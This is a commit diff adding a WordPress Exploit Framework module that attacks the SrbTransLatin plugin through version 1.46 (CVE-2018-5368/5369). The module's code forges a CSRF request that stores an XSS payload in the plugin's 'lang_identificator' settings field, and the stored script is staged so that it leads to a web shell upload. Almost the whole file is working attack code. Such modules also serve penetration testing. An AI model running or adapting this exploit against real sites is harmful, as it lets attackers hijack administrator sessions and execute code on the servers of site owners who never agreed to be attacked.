Add srbtranslatin <= 1.46 CSRF stored XSS shell upload

Author: rastating

modules/exploit/xss/stored/srbtranslatin_csrf_xss_shell_upload.rb

@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::SrbtranslatinCsrfXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'SrbTransLatin <= 1.46 CSRF Stored XSS Shell Upload',
+      author: [
+        'd4wner',   # Disclosure
+        'rastating' # WPXF module
+      ],
+      references: [
+        ['CVE', '2018-5368'],
+        ['CVE', '2018-5369'],
+        ['WPVDB', '9004']
+      ],
+      date: 'Jan 11 2018'
+    )
+  end
+
+  def check
+    check_plugin_version_from_changelog('srbtranslatin', 'readme.txt', '1.47')
+  end
+
+  def vulnerable_url
+    "#{normalize_uri(wordpress_url_admin, 'options-general.php')}?page=srbtranslatoptions"
+  end
+
+  def initial_script
+    create_basic_post_script(
+      vulnerable_url,
+      'lang_identificator' => "script\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
+      'stl_default_language' => 'cir',
+      'file_lang_delimiter' => '=',
+      'sanitize_file_names' => 'on',
+      'Submit' => 'Update Options'
+    )
+  end
+end